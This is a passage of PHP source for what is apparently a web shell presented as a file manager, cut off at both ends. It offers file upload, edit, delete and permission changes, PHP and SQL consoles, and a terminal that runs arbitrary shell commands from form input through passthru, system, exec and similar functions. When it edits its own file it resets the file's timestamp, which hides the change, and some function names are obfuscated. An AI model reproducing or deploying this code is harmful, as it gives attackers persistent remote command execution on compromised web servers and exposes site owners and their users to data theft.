QR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
